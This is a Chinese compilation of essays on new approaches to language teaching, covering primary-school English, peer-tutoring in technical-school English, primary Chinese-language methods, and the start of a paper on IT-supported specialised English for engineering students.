小学英语教学新思路

【导语】“Jenifa是小马呀”通过精心收集，向本站投稿了17篇小学英语教学新思路，以下是小编帮大家整理后的小学英语教学新思路，仅供参考，希望能够帮助到大家。

篇1：小学英语教学新思路

小学英语教学新思路

英语是一门实践性、交际性都很强的课程，教学英语的最终目的是让学生能够自如地去运用它、驾驭它，那么小学英语教学应该怎样进行才能最有效地让学生学以致用呢？

一、英语教材内容要包容英语国家的本土文化、民俗和本地区的民族特色

我们现在所使用的小学英语教材，绝大多数都是从“What's  your  name?”（“你叫什么名字？”），“How  old ……

我们要教给学生的，不仅仅是语言内容本身，还应该让学生了解到语言中所包含的当地文化和民俗，增强他们对英语的理解和运用能力。在教材中，应更多地体现有关中外历史、地方美食、当地景物、传统节日、文化习俗等方面的内容，使学生真正地融入到英语环境中，学到地地道道的英语，而非中国式的英语。所以我们在教学生说英语的同时，更应该注重英语文化的传播，这些在教材中都应得到体现。

另外，各个地区可以根据所处地区的文化背景，编写具有自己特色的教材。比如在我们新疆就有很浓的民族特色，“古尔邦节”“烤羊肉”“哈密瓜”“葡萄沟”“天池”等等，如果将这些内容融入到英语教学中，不仅能让学生提高学习兴趣，还能让学生在生活中更多地运用它，达到学以致用的目的。

二、创设英语教与学的良好情境

正如小孩学说话需要一定的环境一样，语言的学习也是与环境分不开的。在一个全中国汉语式的环境中，让学生学地道的英语，确实不容易。

首先，在英语课堂上可以尝试改变学生的座位模式。我们的课堂座位大多是传统的“横排竖行”分布，师生面对面，教师成了课堂的中心。课改提出之后，“以学生为主体”的呼声也越来越强，要突出“以学生为中心”的思想，就要在课堂教学中体现出学生的主体地位。在英语课上，教师完全可以打破传统的座位模式，将座位布置成圆形或半圆型，这样学生之间能够面对面地交流。一方面开口练习的机会增多了，另一方面也能培养学生的自信心，使教学气氛更加融洽。

其次，英语课上应根据不同的教学内容设置不同的场景，这就需要有充分的英语教学场所和英语教学用具。

在课堂之外，也需要营造浓厚的英语氛围。比如开设英语广播、用英语整队集合、全校上下规定用英语打招呼和讲礼貌用语、粘贴英语图片和校训等。在有条件的情况下，学校还可以开展各种英语竞赛和英语夏令营。让学生在浓厚的英语氛围中学英语，感受英语。

再次，英语课要充分使用多媒体教学设备。根据课堂需要，借助电视机、投影仪、录音机、录像机、计算机课件等多媒体教学设备，可以使抽象的内容变得更为直观，有助于增强教学效果，这也突出了“以学生为主体”的教学思想。

三、英语教学应与其他学科内容相互交叉、渗透和整合

正因为英语是一门语言课，所以它与其他课程有着紧密的联系。在教英语的同时，教师可以适时地与其他课程相结合，注重培养学生的综合能力。尤其对于初学者，这可以大大提高其学习兴趣。

1.英语课与课文课相结合

这两门课都与口语表达能力的培养紧密相关，英语的表达同样也需要像中文一样有血有肉，生动形象。我教的一年级学生初进校门，大字不识几个，但他们会认读拼音，我便把学过的单词、句子用拼音写在黑板上，让他们用英语表达其内容，这样一来，既让学生在紧张有趣的氛围中学会了英语，同时又巩固复习了语文课的拼音，一举两得。

2.英语课与数学课相结合

在教小学生数字的'时候，可以完全采用教数学的方法，比如：学会十以内的数字后，教师就可以将得数为十以内的算式写在黑板或纸上，让学生用英语进行计算，如：”1+3=4“便可以表述为”one  and  three  is  four“，有效地创造了学习英语的气氛。

3.英语课与音乐、美术相结合

大多数小学生都喜欢唱歌、画画，在音乐与图画的情境中学习英语更是其乐融融。作为小学英语教师，我认为音乐与美术都应当是必修课，一首动听的英语歌曲会让学生记住拗口的句子，一幅动人的画面会让学生很快学会单词的读法，并在脑海中留下深刻的印象。学生在音画的情境中既学会了英文的表达，又享受了音乐与画面带来的美感。

4.英语课与体育课相结合

在教“篮球”(basketball)，“足球”(football)等与体育有关的内容时，最好的方法是将学生直接带到操场上，一边运动，一边教学，学生兴奋之余学到了知识，教师也轻松地完成了教学内容。

5.英语课与自然课相结合

小学生天生就爱玩，教师可以带领他们到室外去上英语课，走近大自然，告诉他们：”This  is  a  flower“（这是一朵花），”That  is  a  bee“（那是一只蜜蜂）。将他们感兴趣的一草一木、一虫一鸟，用英语教给他们，收获一定不小。

6.英语课与计算机课相结合

使用计算机等多媒体进行教学是课改内容的重中之重，教师可以利用计算机视听媒体多视点的特点，将教学内容融合进去，调动学生的学习积极性。

作为小学的英语教师必须要有耐心和信心，要培养学生学习英语的良好动机，激发他们的兴趣，每一节课都要有高潮，不能平淡如水，让学生在游戏娱乐中轻松地学说英语。陈鹤琴说：“游戏是人生不可缺少的活动，不管年龄性别，人们总是喜欢游戏的。假如在读书的时候，我们也能化读书活动为游戏，那么读书不是会变得更有趣，更快乐，更有进步了吗？”所以教师在传授知识的同时，更应该重视情感兴趣的培养，让学生感到学习着是快乐的。

由此可见，我们现在所需要的英语教师应该是具有极强综合素质的“多面手”，更应该是课改的领头人，要走到课改的前沿

篇2：技校英语教学中的新思路

技校英语教学中的新思路

鲁彦

（广东省高级技工学校，广东惠州516100）

摘要：本文就当前技工学校“重技轻文”，英语水平参差不齐，对英语等文化课程学习兴趣不浓等问题，提出了在技校中开展导生制英语教学模式的观点。导生制作为技校英语教学中的一种新思路，既弥补了现有师长制教学模式的不足，同时又能增强学生学习英语的兴趣，提升学习效果。

关键词：导生制；技校英语教学；实施方法

作者简介：鲁彦（1985-），女（汉族），湖南人，广东省高级技工学校，英语助理讲师，学士，研究方向：英语教学。

随着经济全球化以及社会分工的精细化，技工学校教育对国家和社会发展的重要性也越发凸显。而英语作为一门基础学科，它的重要性也日益明显，且逐渐发展成为一种大众工具和手段，对技工教育影响深远。综观技校英语教学，普遍存在英语基础差、底子薄、学习兴趣不浓等问题。“次相授业”的导生制英语教学模式将会是弥补现有技校英语教学之不足的有效尝试。

一、导生制的概念

导生制是一种年长学生教习年幼学生、优生教习后进生的教学组织模式。早期的导生制思想源于我国古代“高足弟子代师授业”的教学组织形式。导生制一词译自英文（monitorial system），是18世纪末19世纪初由英国教会牧师安德鲁・贝尔（Andrew Bell）和公谊会教师约瑟夫・兰卡斯特（Joseph Lancaster）同时创行的一种教学组织形式，又称兰贝制或级长制。导生制在我国近现代则经历了“小先生制”、“教学辅导型导生制”、“学生活动型导生制”、“制度建设型导生制”等发展过程。

二、导生制在教学中的优势

与传统的教学模式相比，导生制有其自身的优势。导生作为老师与其他学生之间的桥梁，兼具老师与学生的双重身份，这一方面是对技校教师资源的一种补充，同时有助于教学效果的提升。

（一）弥补教师资源的不足

导生是学校师资力量的基层部分，他们直接面对学生，是学校和学生的接口。学校的教学任务是由导生来传达和实施的，其地位和作用至关重要。

实行导生制的学校，可以通过提升导生的层次和地位，使导生成为学校师资队伍中的一个重要组成部分；或者从导生中挑选优秀者留校，这均可在一定程度上缓解师资不足的压力。此外，导生也是学生，他更熟悉、了解学生，从而弥补了教师需求量不足和与学生接触少等缺陷。

（二）提升教学效果

首先，导生的身份并不是教师，自然也没有教师的威严和管理者的强势地位，他们仍以学生的身份出现，和学生的地位是平等的，容易被学生接受，这一点非常重要；其次，导生和学生年龄相仿，彼此没有代沟，更容易交流；另外，导生与被分管的学生之间，或为同班同学，或专业相同或相近，对自己分管的学生较授业老师更为了解与熟悉，作为成功的过来人，他们的现身说法比教师更具有说服力。因此，导生制在教学中的直接性、有效性以及主动性，对于增强学生的学习兴趣、改进教学效果意义重大。

笔者在任教的2013级高职电子商务1班进行了导生制教学模式实验。将全班40人分成四组，其中两组实施导生制英语教学，另外两组采用传统教学模式。经过一年的教学实践，在本学期的期末英语考试中，两组学生的分数数据如下：导生制组学生平均分87分，及格人数18人，不及格人数2人，及格率90%；90分以上6人，优秀率30%。传统组学生平均分71分，及格人数15人，不及格人数5人，及格率75%；90分以上2人，优秀率10%。实践证明，导生制教学模式对提高教学效果，激发学生的学习兴趣具有显著的效果。

导生制也利于导生自身知识的积累、综合素质的提高。导生既是教师也是学生，双重身份让他肩负双重任务。首先为顺利解决分管学生碰到的问题，他自身需要不断地学习和积累知识，以备教学时的不时之需；另外，在引导学生的过程中，他需要具备一定的教育教学能力。

三、导生制在技校英语教学中的可行性

（一）技校学生英语水平的参差不齐奠定了导生制的应用基础

技校学生普遍存在英语基础差，且水平参差不齐等问题。以笔者任教的2013级高职电子商务1班为例，个别基础好的同学可以流利地用英语与教师对话，完成作业；可有些同学甚至连最基本的英文字母书写都存在问题，而他们却需要接受同一种程度的学习进度，这就是传统师生制教学模式的弊端。然而，这种英语水平的差别化却为优生引导后进生的导生制教学模式创造了条件。让英语成绩优异的导生对英语成绩落后的学生进行一对一的辅导和教习，将是打破英语水平层次性，提升整体英语水平的有效途径。

（二）导生制为技校学生的英语学习增添了新动力

技校中，普遍存在“重技轻文”之风，一些重要的专业理论课都未受到应有的重视，部分学生不爱学习英语，认为能学好技术干活就行。很多学生学习英语的目的不明确，学习动机不强烈，因此个别学生对英语学习怀有极大的厌学情绪。此外，师长制下的教学模式，学生的非主体地位、教学结构单一化以及课堂教学模式化，导致学生学习英语的兴趣不浓。推广导生制，一方面可为英语学习落后的学生树立典范，增强学生在技术与文化课程上均衡发展的动力和信心；另一方面，导生的现身说法，能够更为直接、有效的提高学生的学习效果；同时导生制这种朋友式的引导和交流也更适应新时期学生的主体意识和价值观念。

（三）导生制弥补教师分身无术的缺陷

传统的师长制教学模式下，教师实行以“面”为主的教学方式，只能满足大部分学生的学习需要，教师不可能做到对每个学生的深入了解并因材施教，这造就了传统师长制教学的整体性和盲目性特点。此外，学生只能在短暂的课堂时间对教师所讲述的英语单词以及语法等进行巩固和消化，课后的反馈微乎其微。缺乏课后反馈的英语教学一方面阻碍了学生对课堂所学知识的及时消化，另一方面也不利于教师对教学方法的改进。导生制通过选拔优秀学生对后进生进行“一对一”的指导，弥补了教师精力有限的缺陷。此外，导生实现以“点”为主的引导方式，与教师的以“面”为主相得益彰。

四、技校英语教学中导生制的实施

导生制教学模式的顺利实施，既需要一套完整的实施程序，同时还需具备相应的制度保障。一套完整的程序是开展导生制教学模式的指南，而保障制度的存在则是完善导生制体系的必要条件。

（一）导生制的实施程序

根据技校英语教学自身的特点，在技校中的导生制英语教学可通过三个步骤展开：合格导生的'产生、导生分管与教学以及反馈与评价。

1.合格导生的产生。合格导生的产生需要两个环节：一是选拔；二是培训。教师在选拔导生实行导生制教学时，必须熟悉本班学生的英语学习情况，同时向学生宣传导生制的作用和意义，提高学生的参与性。根据学生的性格、成绩、爱好等，把学生分为三或四人一组的学习小组，并强调学习的重要性。最后，选择英语学习成绩好、综合素质高的学生作为导生，对各个学习合作小组进行分管和指导。

导生选出后，教师需对导生进行相关培训，包括知识培训、教学方法培训以及管理培训等。老师可为导生提前准备有关教学资料，让导生进行预习，提高新知识的掌握程度；组织导生相互交流分管过程的心得和体会，就分管过程中遇到的问题及时进行讨论，并由教师协助解决。

2.导生的教学。合格导生产生后，将进行到下一关键环节，即导生教学与分管。教师首先要宏观讲授本单元的教学目标、重点、难点；然后组织导生分组解答本组学生的具体的、个性化的问题。导师的教学目标要集中于对基本知识与技能的积累与训练。在课堂上，教师要加强巡视，了解每组的学习情况，监督学生参与教学的情况，提供及时的帮助和个别化指导及必要的讲解，并给出适宜的鼓励和表扬。课后教师要经常对导生进行跟踪培训，及时指导导生备课，以提高导生制教学效果。

3.反馈与评价。每次教学结束之后，教师要及时进行教学考评。考评包括分小组进行的评价本组的导生教学情况，学生自我评价学习情况，及导生评价自我的学习和教学情况。当然，教师对学生的学习成绩进行相关测试也是必要的环节。

（二）制定相应的保障制度

一个班、一个年级乃至一个学校，要开展好导生制教学，相应的保障制度不可或缺，只有这样才能收获导生制教学的成果。学校应完善导生制教学模式，实行制度化管理。据笔者了解，一些院校已经做了这方面的努力，并已取得了一定的成果。从开始，河北大学城市学院就一直致力于导生制的探索与改革，在制度建设方面，已形成一套比较完善的导生体制，如导生考评制度、导生例会制度、导生选聘制度、导生工资管理办法等。

技校因有其自身的特殊性，在制度建设上也可探索符合自身发展的导生体制，比如可以实行全体导生制。技校学生与普通高校不同，在技校中学习的学生大都有自己的一技之长。因此，每个学生都可以成为自己擅长领域的导生，进而对不擅长该领域的学生实行辅导和教习。这样，能极大提高学生参与导生制教学的积极性，也能让学生一展所长。此外，在参与过程中，学生既学会了如何去学，又学会了如何去教，有助于学生综合能力的提升。

参考文献：

[1]胡凤阳，李捷。导生制发展的历史回顾与断想[J].天津市教科院学报，2003，（1）：45-48.

[2]王涌芬。导生制―――农村学校英语教学的有效路子[J].江西教育，2009，（12）：95.

[3]吴耐军。高中英语“导生参与”教学模式[J].教育理论与实践，2009，（1）：49-50.

[4]魏景柱，段志雁，陈权英。导生制―――当前高校学生管理的一种新模式[J].呼兰师专学报，2004，（1）：29-31.

篇3：小学语文新思路新方法

一、把准“黄金五分钟”，酝酿课堂教学好气氛

每堂课，我总喜欢当成一个艺术作品来打磨，也把它当成一台“情景剧”来设计。一台“情景剧”，能不能吸引人，前五分钟十分重要，我把它称为“黄金五分钟”，充分地加以利用。

一般情况，在每一节新课之前，我都十分注重检查复习上节课的内容。有时侯，检查出来的效果不够好，师生的心情也不佳，有可能影响本节课的教学质量。对此，我采用了比较灵活的方式，有时把关键词语、文学常识等制作成胶片。在胶片上有哪些内容，谁说得对谁就是胜者。

这样，既有检测也有竞争，同时又活跃了课堂气氛，训练了学生的记忆力。

课堂上，有时，我借助句名言打开局面，我说：“‘平静的湖水练不出精悍的水手，安逸的生活造不出时代伟人’，那么你是否沉湎于安逸的生活不思进取呢?经检测便知，请回答我一个问题”。说到这里，有的同学脸上也露出笑容，期待着老师的提问。

好的开头是成功的一半.有了这个“黄金五分钟”作铺垫，下面的课也就上得得心应手，师生配合默契，有“心有灵犀”之感。

二、与学生互动，让课堂活跃起来

在教学活动中，把好了开头的“黄金五分钟”，接下来的任务就是尽快进入教学主体活动。由于有了前面的“黄金五分钟”做铺垫，课堂气氛很快就起来了。但这种气氛，稍纵即逝。作为教学的主导者，教师这时就应充分调动起每个学生的思维，将课堂气氛活跃起来。

活跃课堂气氛的一个最有效的方式就是师生互动。而互动，就不能光由老师讲，而应让师生都动起来。

如：讲带有故事情节的课文，我就请学生讲故事，有时还请大家临时编排情景话剧，用台词和动作来表现;讲古诗也是如此，请学生换化成古代诗人，进入诗的意境;讲游记之类的，我们便采取解说员的方式来演绎课文……课堂上师生互动，可将课堂气氛很快调动起来，使教学达到事半功倍的效果。

三、训练学生思维能力，开掘学生思维潜力

心理学认为，开发智力的突破口是培养学生的思维品质。文章是思维的载体，也是培养学生思维品质的材料，一位出色的语文老师应精析课文，充分挖掘课文中思维训练的因素，而不是照本宣科;让学生寻根究底地思考、剖析，有利于提高他们思维的深刻性，打破以往从头到尾讲解的方式，使学生兴趣深厚，思维活跃。

“将语文教学推到一个艺术的层面演绎出来”是一条通往教育成功的阳关大道。语文教学的艺术化处理，是我一贯的追求。

在教学中，我时常采取许多不同方式，在活跃课堂教学的同时，始终不忘让其充分发挥想象力，如：请他们充当课文中的不同角色，或将自己当成作者，或将自己变成课文中的一个角色，使他们的思维随着课文任意驰骋，从而感受到课文中的情景和意境。

四、延伸课堂，巩固教学成果

每个单元结束都有相应的课题，以便于学生牢固地掌握学到的知识。但语文习题课不同于其它学科，它的知识面，要记的东西多，单纯在作业本上做题的形式，往往会令学生感到枯燥无味。为此，我总是喜欢把每个单元的重点知识分成几个“块”，制作成卡片，把学生分为多个小组，在课堂上抽做题，展开擂台赛。

有的题需要在黑板上演，有的题只需口头回答即可，有的题需要全组成员合作才能完成。课堂教学结束后，我就发动学生在课外下功夫，为巩固知识，就将知识点进行“串联”整理;为开发学生思维想象力，就请他们熟读课文，领会课文，然后围绕课文，发挥其想象力，使语文学习向课堂外延伸。

五、将情感融入教学中，做学生的朋友

在教学实践中，我们不难发现这样的现象：学生和老师之间，相处得好，关系亲密，学生就喜欢这门学科，反之，对老师产生了厌恶，这种情绪必然殃及这位老师所教的学科。因此，师生感情不仅是师生交往的基础，而且也是培养学生学习该学科兴趣的关键。激发和培养学生的学习兴趣，特别要注重培养师生间的感情。

在这个群“星”璀璨的社会，孩子们差不多都有自已的“偶像”，小小的自我空间里充斥了明星照片。如果老师有魅力，充满激情，品德良好，做事公正，真正做孩子们生活学习的朋友，那是任何飘渺的明星都无法和他竞争的，而且师生间形成真正的感情交流，也会给学生留下终生难忘的印象。

篇4：小学语文新思路新方法

一、在字词句教学中培养学生创新思维的能力

字词教学是小学低年级语文教学的重点。字词的教学除要达到“见形而知晓音义，闻音而忆起形义，表义而再现形音”的要求，在头脑中牢固而准确地建立字词的音形义三个因素之间的统一联系以及培养学生独立识字词的能力之外，还应加强小学生创新思维能力的培养。

比如，要求学生做这样的练习:给“口”字加两笔看看是什么字?练习前，教师启发学生认识到，在给字加笔画时，可以从字的上、中、下、左、右各部位进行考虑。练习时，学生就能联系旧知识，积极思考，对字和笔画进行不同的组合。如“口”字加两笔可成为“电”、“白”、“田”、“叶”、“古”、“申”等字。

字词教学训练创新思维的形式还有“在基本字上加不同部首成为另一些字”“写出带有某部首的字”、“结合字体换个偏旁”、“用独体字组成合体字”等。

通过这样的训练，不仅培养了学生创新思维的能力，而且还巩固了识字率，提高了识字质量，扩大了学习的信息量.句子教学也是小学低年级语文教学的重点.在掌握了一定数量的字词后，学生要懂得利用字词组合成不同的句子来表达意思，阐明见解，沟通情感，实现人际交往的目的。在学生掌握了句子的概念以后，可以通过以下训练培养学生的创新思维能力:

(1)用提供的词语组成一个句子;(2)把句子补充完整;(3)用词语造句;(4)扩展简短句子。例如，用“小鸡”“的”“是”“小虫”“吃掉”等词语组成一个句子。

在学生充分发言之后，他们就会发现这些词语可以组成以下的句子:(1)小鸡吃掉的是小虫;(2)小虫是小鸡吃掉的;(3)吃掉小虫的是小鸡。在实际的句子练习中，学生就会明白可以用同样的词语组成不同的句子来表达同样的意思。在这样的练习中，让学生充分发挥他们学习的积极性、主动性进行创新思维，以培养他们思维的发散性。

二、在阅读教学中训练学生的创新思维

阅读教学是小学语文教学的重要环节之一，它既可以巩固和提高学生的识字质量，为作文打好基础，还可以开发学生的智力，培养他们的创新思维能力。

有的教师在语文阅读教学中习惯于把学生的思路引入到自己既定的教学“框框”之中，这种做法只会限制学生的思维，不利于培养他们创新思维的能力。因此，教师在阅读教学中除了教给学生一些带有规律性的阅读知识外，应从文章的特点和学生的实际出发，让学生积极地思考，以真正达到训练其创新思维的目的。

如《芭蕉花》一课讲的是“我”和哥哥为了给母亲治病，到天后宫私塾园里采摘一朵芭蕉花，遭到父母责打的故事。

有位教师在教学中提出“父母为什么这样生气”的问题让学生思考，有的学生说：“因为‘我’和哥哥淘气跳墙摘花”，有的说“因为‘我’和哥哥随便采折花木”，还有的说“‘我’和哥哥没得到主人的允许就私自摘花”……这里，学生的思维得到了充分的发散，在此基础上，教师可以引导学生在这几个思路中求得有深度、触及本质的答案，从而培养学生思维的深刻性与独特性。

这样既训练了学生的创新思维，又培养了他们的求同思维能力。

创新思维的训练在小学语文教材中比比皆是，教师要善于发掘。在教学活动中教师随时提出问题，随时训练，教给学生创新思维的方法，养成创新思维的习惯，鼓励他们独特创新的思维。

三、在作文教学中培养学生的创新思维能力

很多教师对小学作文教学感到困难重重。虽然语文教材提供了大量的可作仿写的范文，另有大量可作仿写的文章资料，但作文教学质量的提高仍不尽如人意。其主要原因之一就是在作文教学中不重视学生创新思维能力的培养。

过分强调仿写，容易使学生受范文的约束，形成思维定势，思路打不开，写不出自己的真情实感，也就难以掌握写作的技能。其实，不管是写景、状物、叙事，还是记人，都可以从不同角度和侧面来写。

比如:小学语文教材写“雨”的课文，就有写雨前的物象的(如《要下雨了》);有着重写雨景的(如《暴雨》);有以雨景来衬托人物的(如《送雨衣》);还有以雨来比喻飞机播撒树种情景的(如《金色的细雨》)。

同是写雨，描写的方式却不同，所要表达的主题也就不同.在作文教学中，教师熟练地运用有关知识，对学生作文进行适当的启发指导，使学生开启思路，不要把学生的思路引到范文里，那么学生的作文就不会千篇 一律，人云亦云。学生的思路打开了，作文的兴趣就可以激发起来了。

如何在作文教学中培养学生创新思维能力，值得我们语文教师在教学实践中去探讨与研究。

篇5：小学语文新思路新方法

1.注重工具性和人文性的统一。

新的课程标准指出：“工具性和人文性的统一，是语文课程的基本特点。语文是最重要的交际工具，是人类文化的重要组成部分。”那么，如何理解工具性与人文性的统一呢?从文化角度上来讲，语言既是一种交际工具，又是一门生活艺术。

语言作为一种交际工具，本身就是文化的重要组成部分，也是文化得以传播的载体。以往人们对小学语文学科的基本性质的认识和把握有失偏颇，只强调工具性与教育性，没有把语言文字看作是学生求得生存、实现发展的工具，即交际的工具。

语文教学与学生的现实生活脱节，多为单纯抄写生字，机械背诵课文，没有把教育性看作是语文教学的一种内在功能，教育内容多为空洞乏味的说教，与学生实际的思想、认识水平相去甚远。而语文过程的人文性只有在工具性中才能体现。

人类文化的传承以语言载体，人们的交流以语言为媒介，无论是歌颂真善美，还是批判假恶丑，都要依靠语言文字来表达。通过语文的学习和阅读，让学生从语言文字中感受祖国文化的博大精深，从语言文字中切切实实地去体验真情，感悟真理，而不是空洞的说教。所以，离开了工具性，人文性也无从谈起，二者应该做到有机结合，互相统一。

2.拓展语文教学的学习环境。

教师应该清楚的认识到，汉语是我们的母语，我们在日常生活、工作学习，语言交流、表达看法上无处不用到语言。所以语文教学不应该只限制在课堂上，应该树立走出去的教学理念，迈开步伐，在不同的环境下利用各种有效资源进行教学工作，增加各种语言实践机会。

语文是一门实践性很强的学科，要想做好语文教学，就必须重视和充分利用语文课以外的语文教学的广阔空间，这是学生进行语言学习和语言实践的大课堂。

这就要求我们彻底改变语文教学的封闭局面，创建一个开放的、多维的大语文教学环境，努力实现四个结合：课内与课外相结合，语文学科与其它学科相结合，语文教学同学校的其它教育相结合，语文教学同学生的生活相结合。

3.重视语文对学生的熏陶感染。

重视熏陶感染，就是在实际教学中重视潜移默化，使学生能够主动地学。真情实感，做人的道理，处事的方法，都要通过语文的阅读去亲自体验。崇尚美德是人之本性，课文所传达出来的人文情感可以自然调动学生已有的生活体验和情感体验，引起学生的共鸣，让他们自觉向正确的人生观和价值观看齐。

学生每有所感，必要有相似境遇的激发，有感于此，更抒发于彼。学生会调动自己个性化的生活积累和情感积累，再现或再造作者的生活原型;也会加以想象，构建自己认可的生活图景或事物形象，在读中有所感悟，在读中产生独特的体验，受到感染，引起共鸣，从而观照自身，引发认知冲突，潜移默化地向作者的人格靠近，向作者文章体现出来的人文精神靠近。

其次，在实际教学中采用合作学习和自主探究的方法。学生是学习和发展的主体，语文课程必须根据学生身心发展和语文学习的特点，关注学生的个体差异和不同的学习需求，保护学生的好奇心、求知欲，充分激发学生的主动意识和进取精神。

语文教学要使学生在感兴趣的自主活动中全面提高语文素养，培养学生主动探究、团结合作、勇于创新的精神。要想引导学生学会合作、自主探究的学习方法，就要在以下几个方面努力：

1.教学内容的安排和扩展。合理规划课程的安排，教给学生做好课前预习，做好资料的搜集和整理工作，充分调动他们的积极性。在课堂上展开民主开放的讨论氛围，鼓励学生各抒己见，共享信息，互相交流。在课后做好总结工作，积累知识，展开习作练习。

在教学内容的确定上，要突破教科书的局限性。在学习材料上，学生有自主选择的权力。随着社会的发展、网络技术的进步，学生的学习内容是丰富的，学习材料是多元化的，它不仅仅包括教材，还包括媒体及来自教师、同学、家长的各种课内外信息。

教师要坚持整体优化和综合训练的原则，将教学内容有机地组织安排起来，使它的整体性和综合性更加突出。

2.教学方法上多种形式相结合。在教学中，充分调动学生的口、眼、耳等多种感官，综合运用各种教学手段，是优化教学的重要方式。教师给学生提供多种学习方式，学生可根据自身特点自主地选择唱、读、说、画等学习形式。

在整个学习过程中学生与学生之间的交流、沟通是互动的，彼此吸取，彼此欣赏，从中学会聆听，学会尊重，学会合作。

3教学评价以学生评价为主。评价不再是教师的专利，学生可以自我评价，互相评价。评价也不仅仅是学习总结阶段的一个环节，而应该贯穿于整个学习过程。在自主、合作、探究这种教学方式中，“评价”作为教学的重要组成部分，就学生的学而言，它使学生始终处于对己学内容、方法的回顾和对后续学习的展望、探究之中。

掌握了学习的趋势，便学得积极、主动，成为学习的主人。就教师的教而言，学生的自我评价及相互评价，便于教师从学生的实际出发，正确把握每个学生学习的起点，调整教学的内容和节奏，检验教学目标的达成状况，而学生在评价过程中，自己的思维能力、问题分析能力、语言表达能力都得到了相应的提高。

篇6：小学语文新思路新方法

(一)转变落后的教学观念

随着新课程标准的提出，作为一名出色的语文教师，应当解放思想、与时俱进，转变落后的教学观念，充分的尊重学生的主体地位，转变自身的角色，由以往的教学主导者转变为教学的引导者、组织者与促进者，加强对学生的引导，及时地解决学生在语文学习中面临的问题，为学生答疑释难。

此外，教师可以根据具体的教学内容，创设教学问题，引导学生以小组形式展开热烈讨论，除了能够强化学生对所学知识的理解，而且还能够提升学生的口语表达能力，对于锻炼学生的发散性思维能力也具有重要作用。

(二)考虑学生的实际情况

以往的语文教学过程中，教师与学生之间缺乏有效的沟通与交流，学生所存在的问题，难以及时地反馈给教师，教师不能够及时的解决学生面临的各种问题。因此，教师应当加强与学生的沟通与交流，充分了解学生的接受能力、性格特点、兴趣爱好等方面的差异性，有针对性的开展有效的语文教学。

与此同时，教师应当给予学生更多的尊重与关爱，让学生感受到来自于教师的温暖，从而构建和谐、民主的师生关系，让学生在轻松愉快的课堂氛围中掌握更多的语文知识。

(三)创新教学方式

传统的语文教学过程中，教师采用“填鸭式”的教学方式，加大学生的学习负担，挫伤学生的学习兴趣。因此，教师应当创新教学方式，激发学生的语文学习兴趣。其中，通过多媒体教学方式的应用，将文字、声音、图片以及视频等形式，直观、形象的向学生呈现出教学内容，充分的调动学生的积极性与主动性。

例如，教师在开展《狐假虎威》的课程教学时，通过将教学内容制作为动画片，生动的、形象的表现出狐狸的狡猾与老虎的憨厚形象，为学生创设出生动有趣的教学氛围，让学生在学习语文知识的同时，收获更多的快乐，加深学生对于知识的记忆，极大的提升语文课堂教学的质量与效率。

(四)教授学生预习的方式

预习在语文学习中的重要性毋庸置疑，因此，教师应当重视教授学生正确的预习方式，让学生在课堂开始之前，科学的进行课前预习，充分调动学生学习的积极性与主动性。对于不同年级的学生，预习方式也有所不同。

针对于高年级的学生，应当引导其运用审、读、划、提、查等方式进行课前的预习，具体而言，包括以下步骤：一是深入的了解文章题目和课文内容的关系;二是，通过整体阅读文章，让学生对于课文内容有整体的感知;三是通过“划”将文章中重点生字词以及语句圈出来;四是注明自己预习中不懂的问题，便于有目的的进行课堂学习;五是通过相关资料的查阅，对课文进行深入的理解。

采用科学的预习方式，有效避免读书的盲目性，有助于培养学生学习的良好习惯，提高学生学习的有效性。

篇7：信息技术下理工科专业英语教学的新思路

信息技术下理工科专业英语教学的新思路

丁双红

（烟台大学光电信息学院，山东烟台264005）

[摘要] 在分析理工科专业英语教学现状的基础上，针对社会和学生的需求，对专业英语教学内容进行了重新的定义，建立了专业英语学习网站。在信息技术应用与课程整合的基础上，提出了专业英语教学和学习的新方法，是一种能充分体现学生主体地位的“自主、探究、合作”的新型教学和学习方式。

[关键词] 专业英语；信息技术；自主学习

[中图分类号]G642.O

[文献标识码] A

[文章编号] 1005-4634 （2013） 01-0032-04

引言

自1978年中国英语教育恢复伊始，专业英语教学就被提出来Ⅲ。国家教委1980年颁布的《公共英语教学大纲》提出英语教学应“为学生今后阅读本专业英语书刊打下较扎实的语言基础”；1985年《大学英语教学大纲》提出英语教学目的是“使学生能以英语为工具，获取专业所需要的信息”，将大学英语教学分为基础阶段（1――2年级）和应用提高阶段（3――4年级），明确指出应用提高阶段的专业英语为必修课；修订的大纲提到“专业英语是大学英语教学的一个重要组成部分”，修订后的大纲提高了对专业英语的教学要求，不再单方面强调英语阅读能力，而是更注重读、听、说、写、译各方面能力的均衡发展，培养学生不仅能顺利阅读各种英文专业文献，而且能用英语进行学术交流，实现“以英语为工具交流信息”的培养目标。

专业英语教学作为大学英语教学的一个不可缺少的重要组成部分，担负着帮助学生完成从英语学习阶段到英语应用阶段过渡的任务。然而，近年来专业英语教学存在众多困难，例如受基础英语和双语教学的双重挤压，越来越被忽视，课时被严重压缩；教学内容随意，缺乏科学性，缺少高质量的教材；师资受限，教学模式陈『日，无法实现因材施教。这些严重影响了专业英语教学的发展，专业英语教学正在被边缘化。另一方面，学生又急需专业英语的知识和技能，专业英语教学不应当退出英语教学的舞台。

信息技术的利用和教学模式的改革是专业英语教学的新出路。我国教育部在发布的《基础教育课程改革纲要（试行）》中提出：“大力推进信息技术在教学过程中的普遍应用，促进信息技术与学科课程的整合，逐步实现教学内容的呈现方式、学生的学习方式、教师的教学方式和师生互动方式的变革，充分发挥信息技术的优势，为学生的学习和发展提供丰富多彩的教育环境和有力的学习工具。”信息技术在外语课程改革中起到了重要的作用，它使外语学习者更充分自由地接触到所学的语言，极大地激发了外语学习者的动机，使外语学习更具交际性、实用性和可操作性。

本文对理工科专业英语的教学现状进行了分析和探讨。根据目前国内英语教学现状，结合全球化发展对大学毕业生英语应用能力的需求，对专业英语教学内容进行了重新定义和整合。本文探讨了如何利用信息技术提供的手段解决目前专业英语教学师资资源匮乏、教学形式单一、学时少、学生英语学习水平相差大等问题；探讨了基于信息技术的有效的专业英语教学模式，以替代传统的“翻译+阅读”教学模式，让每个学生都得到恰如其分的辅导和教学，从而实现因材施教的目标。本文的研究目的是使专业英语的教学真正达到培养学生结合相关专业的英语综合运用能力，训练学生利用英语这一工具有效地获得专业知识，有效地进行本专业的交流，以满足社会经济发展的需要。

篇8：信息技术下理工科专业英语教学的新思路

1.1专业英语教学存在的主要问题

